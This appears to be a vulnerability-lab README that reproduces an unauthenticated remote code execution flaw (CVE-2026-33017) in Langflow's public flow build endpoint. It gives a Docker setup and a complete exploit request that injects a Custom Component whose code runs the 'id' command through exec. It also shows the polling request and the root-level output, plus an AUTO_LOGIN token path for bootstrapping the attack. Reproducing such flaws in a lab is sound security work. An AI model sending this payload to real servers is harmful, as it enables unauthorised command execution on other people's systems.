Skip to content

Latest commit

 

History

History

CVE-2026-33017

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 
 
 

README.md

Langflow Public Flow Build API Unauthenticated Remote Code Execution (CVE-2026-33017)

中文版本(Chinese version)

Langflow is a popular open-source tool for building agentic AI workflows. It provides a Python-based web interface for visually constructing agents and pipelines.

A critical unauthenticated remote code execution vulnerability (CVE-2026-33017) exists in Langflow 1.8.2 and earlier, fixed in 1.9.0. The POST /api/v1/build_public_tmp/{flow_id}/flow endpoint is designed to run "shareable playground" (public) flows without authentication, but it also accepts an optional data parameter that completely replaces the flow definition loaded from the database. When the supplied flow contains a Custom Component node, Langflow executes its code field with an unsandboxed exec() call during graph compilation, and module-level assignments in that code run before any validation. An unauthenticated attacker only needs the UUID of any flow marked as PUBLIC (which a shared playground link exposes) to execute arbitrary commands as the server user.

References:

Environment Setup

Execute the following command to start a Langflow 1.8.1 server:

docker compose up -d

The environment models a realistic deployment: authentication is enabled (AUTO_LOGIN disabled), so http://your-ip:7860 shows the login page, and you can sign in with the default credentials administrator:vulhub. The administrator has shared one flow named My Flow through the playground feature. Its UUID is e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a, the value a victim leaks when sharing a playground link.

Vulnerability Reproduction

An attacker who has obtained the shared flow's UUID (for example from a playground link posted somewhere) needs no account. Send a request to the public build endpoint, this request must carry an arbitrary client_id cookie, and the data parameter smuggles in a Custom Component node whose code field contains a module-level assignment. That assignment reads the output of the id command and re-raises it inside an exception, so the command output is echoed back in the build events:

POST /api/v1/build_public_tmp/e8b4f8c2-7a1d-4e5f-9b3c-2a6d8f0e1b4a/flow HTTP/1.1
Host: your-ip:7860
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Content-Type: application/json
Cookie: client_id=anything

{"data": {"nodes": [{"id": "CustomComponent-pwn", "type": "genericNode", "data": {"id": "CustomComponent-pwn", "type": "CustomComponent", "node": {"template": {"code": {"type": "str", "value": "from lfx.custom import Component\n\n_x = exec(\"raise Exception(__import__('os').popen('id').read())\")\n\nclass Pwn(Component):\n    display_name = \"Pwn\"\n    def build(self) -> None:\n        pass\n"}, "_type": "CustomComponent"}, "base_classes": ["CustomComponent"], "display_name": "Custom Component", "outputs": [{"types": ["CustomComponent"], "name": "Custom Component"}]}}}], "edges": []}}

The response returns a job_id. Then poll the build events endpoint (which is also unauthenticated) with event_delivery=polling to retrieve the result:

GET /api/v1/build_public_tmp/{job_id}/events?event_delivery=polling HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Cookie: client_id=anything
Host: your-ip:7860

The error event in the response contains the output of the id command executed inside the container, which means arbitrary Python code ran with the privileges of the Langflow server process:

{"event": "error", "data": {"text": "Error creating class. Exception(uid=0(root) gid=0(root) groups=0(root)\n).\n", ...}}

Note that disabling AUTO_LOGIN is not a fix for this vulnerability; it only removes one way for an attacker to bootstrap the attack. On instances running with the default AUTO_LOGIN=true, anyone can call GET /api/v1/auto_login to obtain a superuser token without credentials, create their own public flow, and then exploit the endpoint in the same way even if no flow has ever been shared. That is why the official fix in 1.9.0 removes the data parameter from the endpoint instead of adding authentication.

⌂